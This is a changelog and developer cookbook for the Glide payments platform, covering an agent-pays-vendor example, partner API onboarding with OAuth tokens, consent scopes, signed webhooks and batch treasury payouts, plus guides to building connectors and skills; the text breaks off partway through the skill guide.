Contact import now shows its progress, the people you pay are shown by name, and a run of reliability fixes landed across deposits, verification, swaps and payment requests.
* **Import progress.** Importing a large address book from your phone or Google now shows how many contacts have loaded and how many have been saved, instead of a button that looks stuck. Large imports of several thousand contacts complete in the background.
* **Names, not addresses.** Choosing someone from Recipients carries their name through the whole send flow, so the amount screen asks "How much for Sara?" rather than repeating an email address. The send method is now called Your contact, and every recipient row offers Send.
* **Bank transfer forms.** Recipient form fields load again for corridors where our partner's field lookup was failing, with a verified fallback so the form is never empty.
* **Deposits.** Asking for deposit details in a currency we do not support, or before your receiving wallet is ready, now returns a clear message instead of an error. USD and EUR deposits are unchanged.
* **Identity verification.** Opening a verification session no longer assumes US dollars, and a currency your account is not enabled for is explained rather than failing silently.
* **Swaps.** Wallet balances retry automatically when a blockchain node drops a connection, and the mobile swap screen offers a retry instead of a dead end.
* **Payment requests.** Cancelling a request you sent now works.
* **Business balances.** Smart-account balances sync again.
The site itself was rewritten around the global USD account in 0.36.0.0: every page now leads with holding dollars, receiving and sending euros, and paying like a local in over 100 countries, with business pages keeping their payroll, invoicing and treasury story.
## 0.35 — 12 September 2026
Personal accounts now move money straight from their own in-app wallet, with a currency-first send flow on web and in the mobile app.
* **Currency-first bank send.** Pick the receiving currency, then the recipient, the amount, a live quote, and confirm from your wallet. USD (ACH and Fedwire) and EUR (SEPA) are available today. Other payout channels appear as our partner enables them; we never show a method that is not actually available.
* **Recipients.** Search, filter by currency and category, person or business account holders, currency-specific bank details (USD postal address and account type, EUR payout reference), editing, archive, and exact-recipient reuse. Renamed from Beneficiaries.
* **Contact import.** Bring in contacts from your phone, Google Contacts where available, or a CSV, on Send and on Recipients. A typed email or phone recipient can continue without a saved contact; unknown accounts still fail before any money moves.
* **Statements.** Monthly activity in-app on mobile, with activity and bank-details PDF downloads on web using live Noah USD/EUR data.
* **Profile hub.** Your accounts, grouped settings, inbox, and wallet backup in Security through Privy's secure export of separate EVM and Solana private keys after email confirmation.
* **Mobile navigation.** Home, Pay, Swap, Recipients.
* **Reliability.** Fixes across payouts, recipient encryption, statements, and payment retries.
The 0.35.0.1 update refreshes the site and installed web app description to Global USD Account; 0.35.0.2 improves Android compatibility with 16 KB memory-page devices.
## 0.34 — 8 September 2026
* **Partner API.** Other products can bring Glide payments into their own app: pre-create accounts by email, one-time consent, audited reads of KYC, wallet, US receiving account and payout history, signed webhooks, and batch payouts from a partner treasury. See the Partners tab.
* **Envelope encryption** moved to Google Cloud KMS.
# Agent pays vendor
Source: https://glide-9da73dea.mintlify.app/cookbook/agent-pays-vendor
Review the payment lifecycle example and connect policy, authorization, submission and settlement records.
The source example illustrates policy, grants, payments and audit records. Its payment and audit steps use mock responses. Running the sequence does not move funds or prove that a live audit stream delivered an event.
## Inspect the example
Read `examples/agent-pays-vendor/src/0-policy.ts` through `3-audit.ts` in the product repository. Validate any example identifiers and policy values against the current schemas before using them. Sample amounts describe the example, not account limits or fees.
## Configure policy and access
Use a provisioned agent vault and an active grant with the scopes required by your tools. A policy object constructed locally is not automatically saved as the agent's live policy.
For requests with a destination, the policy engine requires both an approved chain and a matching counterparty address, chain and token. Empty allowlists deny destinations. An absent amount cap leaves that amount axis uncapped; other gates still apply.
## Preview and submit
Use [`payments.simulate`](/agents/api/payments-simulate) where enabled to inspect the policy verdict. For a payment, use the current [`payments.initiate`](/agents/api/payments-initiate) input schema rather than the mock response or commented request in the source example.
Choose an idempotency key for the payment and persist it before submission. Keep the same key and parameters when resolving an uncertain outcome.
## Handle approval
A step-up response refers to the existing pending action. Open the supplied approval URL and use the approval prompt shown on your device. The URL-mode page is not fully connected in the current release; do not interpret its display as authorization or retry with a fresh payment key.
Hard policy denials, including unapproved destinations and exceeded caps, cannot be bypassed with approval.
## Verify the outcome
Track the existing payment identifier and settlement status. An accepted request is not a settlement receipt. Where an on-chain receipt is available, inspect its transaction hash independently.
[`audit.stream`](/agents/api/audit-stream) returns a cursor contract. The deployment must provide its SSE endpoint before you can subscribe. The mock event in the source example does not verify that endpoint.
## Source
[Read the agent-payment example](https://github.com/glide-co/glide-mono/tree/main/examples/agent-pays-vendor). Source access is required.
## Next
* [Policy envelope](/agents/policy-envelope)
* [MCP tool reference](/agents/api/index)
* [Receipts and audit feed](/agents/receipts)
# Bring payments into your app
Source: https://glide-9da73dea.mintlify.app/cookbook/bring-payments-into-your-app
Pay your users through Glide. Pre-create accounts by email, collect consent, read verification and wallet state, receive signed webhooks, and push batch payouts from a prefunded treasury.
You owe money to a list of people. You do not want to build banking, hold their identity documents, or run a payout rail. This recipe wires your platform to Glide so each of your users gets a real Glide account, consents to exactly what you may see, and receives USD you push from a prefunded treasury.
Audience: a backend engineer at a creator marketplace, a freelance platform, a payroll product, or anything else that pays its users.
Examples use `https://glide.co`. Supply your own configured credentials, funded treasury and consented recipients before calling the API. Placeholder UUIDs follow the `11111111-1111-4111-8111-111111111111` shape used throughout the [Partner API reference](/partners/index).
## What you are building
```
1. pre-create user by email -> Glide user id + claim link
2. user consents -> grant with the scopes you asked for
3. read state -> verification, wallets, USD account, ledger
4. push a batch -> USD lands in each user's Glide balance
5. transfer.settled webhook -> you reconcile on transfer_id
6. user cashes out -> USD to USDC to their bank, on their own
```
## How the money moves
Three balances, in order.
**Your treasury USD balance.** Glide binds your partner record to one business entity and one entity-scoped USD balance. You prefund it by settling real USD into the bound reserve account, and a Glide operator records that settlement against evidence. There is no deposit API you call.
**The user's personal Glide USD balance.** A batch payout is a synchronous, atomic book transfer inside Glide: a treasury debit and a user credit, both completed, both zero fee, written in one database transaction. When the call returns 200, the money is spendable. Nothing is queued and nothing is pending. The user sees it as incoming, labelled **Payout from partner**.
**The user's bank.** The user, not you, drives the cash-out. They convert USD to USDC inside Glide, review the quoted fees, then continue to a bank withdrawal.
Receiving a payout does not require the user to be identity verified. Converting USD on the way to a bank withdrawal does. Payout eligibility also requires an active user, the required consent and a funded, enabled partner treasury. Glide prompts users to verify before conversion and bank payout. Do not build a verification gate in front of your own payouts.
## Prerequisites
* A backend you can put a secret in. Every call in this recipe is server-side.
* An HTTPS endpoint on port 443 for webhooks, reachable from the public internet.
* Node 20 or later if you want to run the TypeScript samples, plus `curl` and `jq` for the shell ones.
* Partner credentials from Glide. Step 1 covers how to get them.
Ask Glide to create your partner record. You will be asked for:
* Your partner name and a URL-safe slug. The name is what users see on the consent screen.
* The exact webhook URLs you want allowlisted. Delivery only goes to an exact match.
* Whether you intend to push payouts, which decides the `treasury:write` entitlement.
Glide returns a `client_id` and a `client_secret` **once**. Client IDs look like `gpc__<8 hex>`, secrets like `gps_` followed by 32 random bytes in base64url.
```bash theme={null}
# .env on your server, never in source control
GLIDE_BASE_URL=https://glide.co
GLIDE_CLIENT_ID=gpc_example-market_a1b2c3d4
GLIDE_CLIENT_SECRET=gps_...
GLIDE_PAYER_ENTITY_ID=aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa
GLIDE_WEBHOOK_SECRET=...
```
Glide stores only a salted scrypt hash of the secret and can never show it to you again. If you lose it, ask Glide to rotate it. Rotation keeps your `client_id` and immediately kills the old secret, though tokens already minted stay valid for up to an hour.
Glide issues native `client_credentials` JWTs. There is no authorization server to configure.
`POST /api/partner/oauth/token` with `Content-Type: application/x-www-form-urlencoded`, a required `grant_type=client_credentials`, and an optional space-separated `scope`. Authenticate with HTTP Basic, form-encoding each credential before base64-encoding `client_id:client_secret`.
```bash curl theme={null}
curl --request POST https://glide.co/api/partner/oauth/token \
--user "$GLIDE_CLIENT_ID:$GLIDE_CLIENT_SECRET" \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'grant_type=client_credentials' \
--data-urlencode 'scope=kyc:read wallet:read' \
| jq .
```
```ts TypeScript theme={null}
// glide-token.ts
const BASE = process.env.GLIDE_BASE_URL ?? 'https://glide.co';
let cached: { token: string; expiresAt: number } | null = null;
export async function getAccessToken(): Promise {
if (cached && Date.now() < cached.expiresAt) return cached.token;
const basic = Buffer.from(
`${encodeURIComponent(process.env.GLIDE_CLIENT_ID!)}:${encodeURIComponent(
process.env.GLIDE_CLIENT_SECRET!
)}`
).toString('base64');
const res = await fetch(`${BASE}/api/partner/oauth/token`, {
method: 'POST',
headers: {
Authorization: `Basic ${basic}`,
'Content-Type': 'application/x-www-form-urlencoded',
},
// Omit `scope` to request every entitlement your client currently has.
body: new URLSearchParams({ grant_type: 'client_credentials' }),
});
if (!res.ok) throw new Error(`glide token ${res.status}: ${await res.text()}`);
const body = (await res.json()) as { access_token: string; expires_in: number };
cached = {
token: body.access_token,
// Refresh 60 seconds early; still handle token expiry on each request.
expiresAt: Date.now() + (body.expires_in - 60) * 1000,
};
return cached.token;
}
export function clearTokenCache() {
cached = null;
}
```
```json theme={null}
{
"access_token": "",
"token_type": "Bearer",
"expires_in": 3600,
"scope": "kyc:read wallet:read"
}
```
Send `Authorization: Bearer ` on every other call.
Cache it. Tokens last exactly one hour, and issuance is limited to 30 requests a minute per client, counting failed attempts. Minting one per request will rate-limit you under any real load.
On a single `401 invalid_token`, clear the cache and mint once more. Do not loop. If the second attempt fails too, your credentials or your client status is the problem. Clear the cache on deploy when you rotate the secret.
Send credentials one way only. Combining HTTP Basic with form-field credentials, or repeating any parameter, returns `invalid_request`. Form bodies are capped at 4096 bytes.
You bring the email. Glide creates a placeholder account and returns a stable user id plus a link to the consent screen.
```bash curl theme={null}
curl --request POST https://glide.co/api/partner/users \
--header "Authorization: Bearer $GLIDE_ACCESS_TOKEN" \
--header 'Content-Type: application/json' \
--data '{ "email": "creator@example.com" }' | jq .
```
```ts TypeScript theme={null}
export async function precreateUser(email: string) {
const res = await fetch(`${BASE}/api/partner/users`, {
method: 'POST',
headers: {
Authorization: `Bearer ${await getAccessToken()}`,
'Content-Type': 'application/json',
},
body: JSON.stringify({ email }),
});
if (!res.ok) throw new Error(`glide precreate ${res.status}: ${await res.text()}`);
return (await res.json()) as {
user_id: string;
created: boolean;
claim_link: string;
};
}
```
```json theme={null}
{
"user_id": "11111111-1111-4111-8111-111111111111",
"created": true,
"claim_link": "https://glide.co/partner/consent?partner=example-market&scopes=kyc%3Aread+wallet%3Aread+us_account%3Aread+transfers%3Aread+payouts%3Areceive"
}
```
Store `user_id` against your own user row. It is stable forever, including after the person claims the account.
`created` describes the **first** call for your partner and that email. It does not flip on replay, so a repeated call returns the same id and the same `created` value. If the person already has a Glide account, you get `created: false` and their existing id. Pre-creation is limited to 60 requests a minute.
Glide sends no email. Put `claim_link` in your own onboarding email or dashboard, and tell the person which address to sign in with.
### What the user sees
They land on the consent screen, sign in, see your partner name and the exact permissions you asked for, and click **Allow access**. Approving replaces their scope set for you with exactly what they approved, so a narrower re-consent narrows your access. They can revoke any time under **Settings** then **Integrations**.
| Scope | Consent screen wording | Lets you |
| ----------------- | --------------------------------------------------------------- | ----------------------------------------------------------------------------- |
| `kyc:read` | View verification status and request a hosted verification link | Read verification status, request a hosted link, receive `kyc.status_changed` |
| `wallet:read` | View your wallet addresses | Read EVM and Solana public addresses |
| `us_account:read` | View your USD receiving account details | Read provisioned USD receiving details, receive `us_account.provisioned` |
| `transfers:read` | View your personal transfer history | Read the personal ledger, receive `transfer.settled` and `transfer.failed` |
| `payouts:receive` | Receive payouts from this partner | Include the user as a batch recipient |
To pay someone you need **both** `payouts:receive` and `transfers:read` on their grant. The payout writes a transfer the user has to be able to see, so receive consent alone is not enough.
The claim link is navigation to a consent screen, not a bearer capability and not a login bypass. It carries no email and no user id, so it is safe to render in your UI. The person must sign in with the email you pre-created. Glide attaches their verified identity only where the email matches and no identity is attached yet, which preserves the Glide user id, your receipt and any grants. Signing in with a different address consents for that other account instead. If someone uses the wrong address, pre-create the one they actually used and send them that link.
Partner placeholders have no account type. The owner picks Individual or Company after claiming, through Glide's normal one-time selection. You cannot set it and you cannot change it later.
Four reads, each gated by its own consent scope, each limited to 300 requests a minute.
```bash theme={null}
# Verification status
curl -s "https://glide.co/api/partner/users/11111111-1111-4111-8111-111111111111/kyc" \
-H "Authorization: Bearer $GLIDE_ACCESS_TOKEN" | jq .
# Wallet addresses
curl -s "https://glide.co/api/partner/users/11111111-1111-4111-8111-111111111111/wallets" \
-H "Authorization: Bearer $GLIDE_ACCESS_TOKEN" | jq .
# USD receiving account
curl -s "https://glide.co/api/partner/users/11111111-1111-4111-8111-111111111111/us-account" \
-H "Authorization: Bearer $GLIDE_ACCESS_TOKEN" | jq .
```
```json theme={null}
{
"user_id": "11111111-1111-4111-8111-111111111111",
"status": "review",
"provider": "noah",
"updated_at": "2026-09-06T00:00:00.000Z"
}
```
Verification status is one of `not_started`, `in_progress`, `review`, `approved` or `rejected`. With no record, it is `not_started` with null provider and timestamp. You never receive documents, rejection reasons or provider tokens.
Wallets come back as an array of `evm` and `solana` addresses. An unclaimed user normally has an empty array, so treat empty as "not ready yet" rather than an error.
The USD account response is a discriminated union on `status`. Branch on it before reading `account`:
```json theme={null}
{
"user_id": "11111111-1111-4111-8111-111111111111",
"status": "not_provisioned"
}
```
Reading this endpoint never starts provisioning. If the user has no receiving account, they have to complete the deposit-details flow inside Glide.
Need the user to verify? Request a hosted link with `POST /api/partner/kyc/:id/link`, no body, limited to 10 requests a minute. It returns `status: "created"` with a URL, `already_approved` with a null URL, or `pending` with a null URL while the provider is still reviewing. Glide handles the callbacks, so you learn the outcome from `kyc.status_changed` rather than by polling.
### Polling the ledger
`GET /api/partner/users/:id/transfers` returns the user's personal ledger. Use `since` as an exclusive lower bound on `updated_at`, `limit` between 1 and 100, and follow `cursor` to the end.
```ts theme={null}
export async function fetchTransfersSince(userId: string, since: string) {
const rows: { id: string; updated_at: string; amount_cents: string }[] = [];
let cursor: string | null = null;
do {
const url = new URL(`${BASE}/api/partner/users/${userId}/transfers`);
url.searchParams.set('since', since);
url.searchParams.set('limit', '100');
if (cursor) url.searchParams.set('cursor', cursor);
const res = await fetch(url, {
headers: { Authorization: `Bearer ${await getAccessToken()}` },
});
if (!res.ok) throw new Error(`glide transfers ${res.status}`);
const page = (await res.json()) as {
transfers: typeof rows;
next_cursor: string | null;
};
rows.push(...page.transfers);
cursor = page.next_cursor;
} while (cursor);
return rows;
}
```
Results sort by `updated_at` then `id`, both ascending, at full timestamp precision. Preserve `since` while paging and only advance your watermark once `next_cursor` comes back null.
This is an incremental view, not a frozen snapshot. Rows can change while you page. Overlap your watermark by a safe margin and dedupe on `(id, updated_at)` before applying anything. An invalid cursor returns `400 invalid_cursor`: restart from your watermark rather than trying to repair it.
`amount_cents` is an exact string-encoded minor-unit integer, selected as text so JavaScript cannot round it. Parse it as a big integer or a decimal type, never a float. On older rows, `status`, `currency` and `completed_at` can be null.
Ask Glide to allowlist your exact URL and configure the endpoint. Glide returns the signing secret once and keeps only encrypted ciphertext. Each allowlisted URL gets its own secret.
Four event types arrive, each gated by the matching consent scope:
| Type | Scope | `data` |
| ------------------------ | ----------------- | --------------------------------------------------- |
| `kyc.status_changed` | `kyc:read` | `status`, `provider` |
| `us_account.provisioned` | `us_account:read` | `account_id`, `currency`, `provider` |
| `transfer.settled` | `transfers:read` | `transfer_id`, `status`, `amount_cents`, `currency` |
| `transfer.failed` | `transfers:read` | `transfer_id`, `status`, `amount_cents`, `currency` |
```json theme={null}
{
"id": "44444444-4444-4444-8444-444444444444",
"type": "transfer.settled",
"user_id": "11111111-1111-4111-8111-111111111111",
"occurred_at": "2026-09-06T00:00:00.000Z",
"data": {
"transfer_id": "22222222-2222-4222-8222-222222222222",
"status": "completed",
"amount_cents": "2500",
"currency": "USD"
}
}
```
Each request carries `Content-Type: application/json`, `Idempotency-Key` set to the event `id`, and `X-Glide-Signature: t=,v1=`.
Verify the HMAC over the exact string `${timestamp}.${rawRequestBody}` with a constant-time compare:
```ts theme={null}
// webhook.ts
import crypto from 'node:crypto';
import express from 'express';
const app = express();
const SECRET = process.env.GLIDE_WEBHOOK_SECRET!;
const TOLERANCE_SECONDS = 300;
function verifySignature(header: string | undefined, rawBody: Buffer): boolean {
if (!header) return false;
let timestamp = '';
let signature = '';
for (const part of header.split(',')) {
const [key, value] = part.trim().split('=');
if (key === 't') timestamp = value ?? '';
if (key === 'v1') signature = value ?? '';
}
if (!timestamp || !signature) return false;
const sent = Number(timestamp);
if (!Number.isFinite(sent)) return false;
if (Math.abs(Math.floor(Date.now() / 1000) - sent) > TOLERANCE_SECONDS) return false;
const expected = crypto
.createHmac('sha256', SECRET)
.update(`${timestamp}.${rawBody.toString('utf8')}`)
.digest('hex');
const a = Buffer.from(expected, 'utf8');
const b = Buffer.from(signature, 'utf8');
return a.length === b.length && crypto.timingSafeEqual(a, b);
}
// express.raw keeps the body as bytes. Never mount express.json on this path:
// re-serializing parsed JSON changes whitespace and breaks the signature.
app.post(
'/webhooks/glide',
express.raw({ type: 'application/json' }),
async (req, res) => {
if (!verifySignature(req.header('X-Glide-Signature'), req.body)) {
return res.status(400).send('invalid signature');
}
const event = JSON.parse(req.body.toString('utf8')) as {
id: string;
type: string;
user_id: string;
occurred_at: string;
data: Record;
};
// Dedupe before any side effect. Insert the id under a unique constraint
// and treat a duplicate-key error as "already handled".
const isNew = await recordEventOnce(event.id);
if (!isNew) return res.status(200).send('duplicate');
// Persist durably, then do slow work on your own queue.
await enqueue(event);
return res.status(200).send('ok');
}
);
app.listen(3000);
```
Four rules make this correct:
1. **Sign over the raw bytes.** Capture the body before any JSON middleware touches it.
2. **Enforce a five minute tolerance.** The timestamp and signature are regenerated on each retry while the event id and payload stay identical, so tolerance blocks replay without breaking legitimate retries.
3. **Dedupe by event id before side effects.** Delivery is at least once, and your receiver can accept an event before Glide records the success.
4. **Return 2xx only after durable acceptance.** Network errors, 408, 429 and 5xx are retried. Every other non-2xx, redirects included, is a terminal failure.
Retries run at 30, 60, 120, 240, 480, 960 and 1920 seconds after the previous attempt, for at most eight attempts including any interrupted by a worker restart. The cron cadence can add up to a minute to each delay. Glide requires HTTPS on port 443, resolves your host to public addresses only, pins the connection to the validated IP, and follows no redirects.
Before every attempt Glide rechecks your partner status, the endpoint allowlist and the user's grant. A revoked or replaced grant cancels queued events, and re-granting does not release events queued under the prior consent.
Ordering is not guaranteed, and an event can beat the API response that caused it. When order matters, fetch current state from the read endpoints instead of folding events into a state machine.
`POST /api/partner/treasury/transfers/batch` moves USD from your treasury into 2 to 50 user balances in one atomic transaction.
Before the first call, Glide has to have bound your treasury to your business entity and external payer UUID, recorded verified funding, and activated it. That sequence is [Go live](/partners/go-live). Your token needs the `treasury:write` entitlement, which never appears in user consent.
Each recipient needs a pre-creation receipt for your partner, an active account, and both `payouts:receive` and `transfers:read` on their grant. There is no verification, wallet or receiving-account gate on this endpoint.
### The request
Send `Content-Type: application/json` and a required `Idempotency-Key` of 1 to 128 characters from `[A-Za-z0-9._:-]`.
```bash theme={null}
curl --request POST https://glide.co/api/partner/treasury/transfers/batch \
--header "Authorization: Bearer $GLIDE_ACCESS_TOKEN" \
--header 'Content-Type: application/json' \
--header 'Idempotency-Key: payout-run-2026-09-06-a' \
--data '{
"payer_entity_id": "aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa",
"currency": "USD",
"items": [
{ "execution_id": "11111111-1111-4111-8111-111111111111", "payout_id": "22222222-2222-4222-8222-222222222222", "user_id": "33333333-3333-4333-8333-333333333333", "amount_cents": "2500", "reference": "invoice-104" },
{ "execution_id": "44444444-4444-4444-8444-444444444444", "payout_id": "55555555-5555-4555-8555-555555555555", "user_id": "66666666-6666-4666-8666-666666666666", "amount_cents": "4000", "reference": "invoice-105" }
]
}' | jq .
```
| Field | Rule |
| ----------------- | -------------------------------------------------------------------------------- |
| `payer_entity_id` | Must equal your binding's external payer id. It cannot select another balance |
| `currency` | Exactly `"USD"` |
| `items` | 2 to 50 strict objects. Unknown fields are rejected |
| `execution_id` | UUID, unique in the request. One attempt to move one amount to one user |
| `payout_id` | UUID, unique in the request. Your obligation identifier |
| `amount_cents` | Positive integer string. No sign, decimals, exponent, whitespace or leading zero |
| `reference` | 1 to 200 characters |
Amounts and the request total are each capped at `9007199254740991`. The streamed body limit is 64 KiB, and the rate limit is 10 requests a minute. The same user may appear twice if each entry is a distinct obligation.
Generate `execution_id` and `payout_id` once, and persist them next to the obligation **before** you make the call. They are what makes a lost response recoverable.
### The response
HTTP 200, including on replay, with one result per item in request order:
```json theme={null}
{
"batch_id": "77777777-7777-4777-8777-777777777777",
"treasury_entity_id": "88888888-8888-4888-8888-888888888888",
"currency": "USD",
"total_amount_cents": "6500",
"items": [
{ "execution_id": "11111111-1111-4111-8111-111111111111", "user_id": "33333333-3333-4333-8333-333333333333", "transfer_id": "99999999-9999-4999-8999-999999999999", "amount_cents": "2500", "state": "processed", "version": 1, "fee_cents": "0", "fee_included": false },
{ "execution_id": "44444444-4444-4444-8444-444444444444", "user_id": "66666666-6666-4666-8666-666666666666", "transfer_id": "bbbbbbbb-bbbb-4bbb-8bbb-bbbbbbbbbbbb", "amount_cents": "4000", "state": "processed", "version": 1, "fee_cents": "0", "fee_included": false }
]
}
```
Store `transfer_id` against your payout. It is the correlation key for the ledger read and for `transfer.settled`. `state` is always `processed`, `version` always `1`, `fee_cents` always `"0"`. `total_amount_cents` includes reused items, so on a partial replay it can exceed the money this call actually debited.
The success audit, batch response, receipts, treasury debit, user credits, activity entry and webhook outbox all commit together. Audit or outbox failure rolls the whole new batch back. You will never receive a successful subset.
### Retries, exactly
```ts theme={null}
export async function sendBatch(idempotencyKey: string, body: unknown) {
const res = await fetch(`${BASE}/api/partner/treasury/transfers/batch`, {
method: 'POST',
headers: {
Authorization: `Bearer ${await getAccessToken()}`,
'Content-Type': 'application/json',
'Idempotency-Key': idempotencyKey,
},
body: JSON.stringify(body),
});
if (res.status === 200) return { outcome: 'settled', body: await res.json() };
// 5xx, 408 and transport failures are UNCONFIRMED, not failed.
// Retry the identical body with the identical key.
if (res.status >= 500) return { outcome: 'unconfirmed', status: res.status };
const error = (await res.json()) as {
error: { code: string; message: string; request_id: string };
};
return { outcome: 'rejected', status: res.status, ...error.error };
}
```
| Situation | Result |
| ------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------- |
| Same key, same canonical request | Original stored response. No new money, receipt, usage or event |
| Same key, changed request, including reordered items | 409 `idempotency_conflict` |
| Different key, identical previously executed item | Reuses that item's `transfer_id`. Only unseen executions are debited |
| Reused `execution_id` with a changed recipient, payer, `payout_id`, amount, currency or reference | 409 `execution_conflict`. No item in the batch executes |
| Validation, policy or funds rejection | Audited as a rejection. No settled batch, no execution ids consumed |
| Commit succeeded but you lost the response | Retry the same key and payload to recover the original body |
| Timeout or any uncertain outcome | Keep the execution ids and retry |
Never mint a fresh `execution_id` to retry, and never mark an unconfirmed payout failed. A new id is a new payment. On a timeout, a dropped connection, a 5xx or an unparseable response, resend the identical body with the identical `Idempotency-Key`. A replayed 200 reconciles you against the transfers that already exist.
### What each error means
| HTTP | Code | Do this |
| --------- | --------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------- |
| 400 | `invalid_request`, `invalid_json` | Fix the request. Nothing executed and no ids were consumed |
| 401 | `invalid_token` | Clear the token cache and mint once |
| 403 | `grant_required` | Send the user back through consent with both required scopes |
| 403 | `user_inactive` | Stop paying that user until it is resolved |
| 403 | `partner_inactive` | Your partner is suspended. Contact Glide |
| 403 | `treasury_inactive` | Suspended, disabled or an expired mandate. Reactivate, then retry the same ids |
| 403 | `payer_not_allowed` | `payer_entity_id` does not match your binding. Fix your configuration |
| 403 | `policy_denied` | A cap or the step-up amount was exceeded. Shrink the batch or ask Glide to raise the cap. No token bypasses this |
| 404 | `user_not_found` | No receipt for your partner, or the id belongs to another partner |
| 404 | `treasury_not_configured` | No treasury is bound. Complete binding with Glide |
| 409 | `insufficient_funds` | Fund the reserve, have Glide record it, then retry the same ids |
| 409 | `idempotency_conflict` | The key was reused with a different request. Investigate before changing anything |
| 409 | `execution_conflict` | A reused execution id was mutated. Investigate. Nothing executed |
| 413 | `body_too_large` | Over 64 KiB. Split the batch |
| 429 | `rate_limited` | Back off for the full `Retry-After: 60` window |
| 500 / 503 | `internal_error`, `auth_unavailable`, `audit_unavailable` | Unconfirmed. Retry the same key and payload |
Every error body carries a `request_id` that matches the `X-Request-Id` header and the audit row. Log it.
### Caps
Under the treasury lock Glide enforces per-item, per-batch, rolling 24 hour and lifetime amount caps, plus transfer counts per hour and per 24 hours. Only **new** transfers consume allowance, so replays are free. Hitting a cap exactly is allowed. Cap errors name the violated limit without revealing remaining allowance.
### Correlating the webhook
`transfer.settled` fires from the user's credit. Match `data.transfer_id` to the `transfer_id` you stored from the batch response.
```ts theme={null}
async function onTransferSettled(event: {
data: { transfer_id: string; amount_cents: string };
}) {
const payout = await findPayoutByTransferId(event.data.transfer_id);
if (!payout) {
// The event beat your saved batch response, or it belongs to a movement
// you did not cause. Retain it and retry the correlation on a backoff.
await retainForRetry(event);
return;
}
await markPayoutConfirmed(payout.id, event.data.amount_cents);
}
```
An unmatched event is not necessarily an error. Transfer events cover the user's whole personal ledger, so movements you did not cause also arrive, and a user may have authorized other platforms. Retain the event, retry the correlation on a backoff, and escalate to a human if it stays unmatched rather than discarding it.
Once the batch returns 200, the money is in the user's personal Glide USD balance and is spendable. They see it under **Glide balance** in the Glide app, and the payout appears as incoming, labelled **Payout from partner**.
From there the user drives everything:
1. Convert USD to USDC inside Glide, reviewing the quoted fees. **This step requires approved verification.** Glide explains that on the balance block and links unverified users to identity verification.
2. Continue to a bank withdrawal from the conversion receipt, or open the bank flow directly against available USDC.
You do not initiate or observe the withdrawal, and you should not gate your payout on it. Track any failed or uncertain withdrawal through the user's cash-out flow. Do not treat the completed partner payout receipt as proof of bank settlement or a returned balance.
If you want to nudge verification, request a hosted link with `POST /api/partner/kyc/:id/link` and watch for `kyc.status_changed` with `status: "approved"`.
## Go-live checklist
Work through [Go live](/partners/go-live) for the full ordered sequence. The short version:
* [ ] Partner created, credentials stored in a secret manager, `treasury:write` enabled, and a native token verified against a read endpoint.
* [ ] Custody and redemption mandate confirmed, reserve account and settlement evidence identified.
* [ ] Business entity created through its normal owner flow, with its real verification status.
* [ ] Treasury bound with approved caps and mandate expiry, external funding verified and recorded against its receipt.
* [ ] Recipients pre-created, active, and consenting to both `payouts:receive` and `transfers:read`.
* [ ] The exact webhook URL allowlisted, its secret configured, and the receiver validated end to end.
* [ ] Proven live in the configured environment: a funded reserve, a small two-recipient batch, the credit visible in each personal USD balance, a signed webhook received and correlated, and a user-authorized bank withdrawal completing.
* [ ] Treasury activated only after all of the above, with monitoring on receipts, audits, rolling usage, webhook delivery and reserve reconciliation.
Two switches when something goes wrong. Treasury suspension stops new payouts while leaving reads, webhooks and authorized replays working. Partner suspension stops all API access and delivery immediately. If a secret leaked, rotate **and** suspend, because rotation alone leaves already-issued tokens valid for up to an hour.
## Reading list
* [Partner API overview](/partners/index) gives the model and every endpoint in one table.
* [Authentication](/partners/authentication) covers token claims, scopes, rotation and issuance limits.
* [Users and consent](/partners/users-and-consent) covers pre-creation, claiming and how access is checked.
* [Payouts](/partners/payouts) is the full treasury contract, including caps and admin operations.
* [Webhooks](/partners/webhooks) covers signing, retries and consent binding in detail.
* [Errors](/partners/errors) lists every code with its remediation.
# Build a connector
Source: https://glide-9da73dea.mintlify.app/cookbook/build-a-connector
Adapt the TestPay example and test its manifest, capability implementations and observed network calls.
The TestPay example demonstrates a connector with banking and screening capabilities. Its accounts, transfer results and screening decisions are fixtures. They do not establish live banking or sanctions-screening coverage.
## Start from the example
Copy `examples/build-a-connector-stripe-clone` from the product repository into your working package. Rename the package and update `src/manifest.ts`.
The manifest describes identity, capabilities, supported regions and currencies, network hosts and vendor permissions. Replace fictional vendor and licensing data with verified information for your integration. A manifest entry does not itself establish a license or supported payment route.
## Implement the capabilities
The example uses the interfaces in `@repo/connectors-base`:
* **Banking:** `listAccounts(ctx)` and `initiateTransfer(ctx, args)`.
* **Screening:** `screen(ctx, subject)`.
Read `src/capabilities/banking.ts` and `src/capabilities/screening.ts`. Replace their fixture responses with the relevant vendor calls. Preserve the distinction between pending, settled and failed transfers, and handle uncertain responses before retrying.
## Run contract tests
With the repository dependencies installed, run from its root:
```bash theme={null}
pnpm --filter @glide-examples/build-a-connector-stripe-clone test
```
The suite checks manifest validity, the presence of declared capability implementations and the network targets supplied to the test harness. Override `getRecordedFetchTargets()` with captured requests to test egress hosts. Its default empty list does not prove that all possible network calls are declared.
Passing fixture tests does not verify a live vendor integration. Exercise the required account, payment and screening paths against the vendor's supported test environment before using real funds.
## Prepare for review
Follow the repository's contribution requirements. Document your connector's credentials, supported methods, failure handling and demo limits. Keep mock status explicit until real integration is verified. Publication and a trust-tier change require the applicable repository and vendor review.
## Source
[Read the TestPay example](https://github.com/glide-co/glide-mono/tree/main/examples/build-a-connector-stripe-clone). Source access is required.
## Next
* [Connector manifest](/oss/standards/connector-manifest)
* [Capability interfaces](/oss/connectors/extending)
* [Trust tiers](/oss/standards/trust-tier)
# Build a skill
Source: https://glide-9da73dea.mintlify.app/cookbook/build-a-skill
Use the spend-export example to define a skill manifest, consent copy, policy and tested entry point.
The spend-export example demonstrates a skill that converts supplied audit receipts into CSV. Its tests use a mock client. They do not prove that a hosted audit stream or install flow is connected.
## Inspect the example
In `examples/build-a-skill-spend-export`, read:
* `manifest.yml` for the skill metadata.
* `policy-template.json` for the suggested policy.
* `consent-flow.md` for the requested access.
* `src/skill.ts` for `exportLastMonthSpend`.
* `src/skill.test.ts` for the mock-client tests.
Copy the example directory to start your own skill. Update its identity, permissions, consent copy and entry point to match what your implementation does.
## Connect the data source
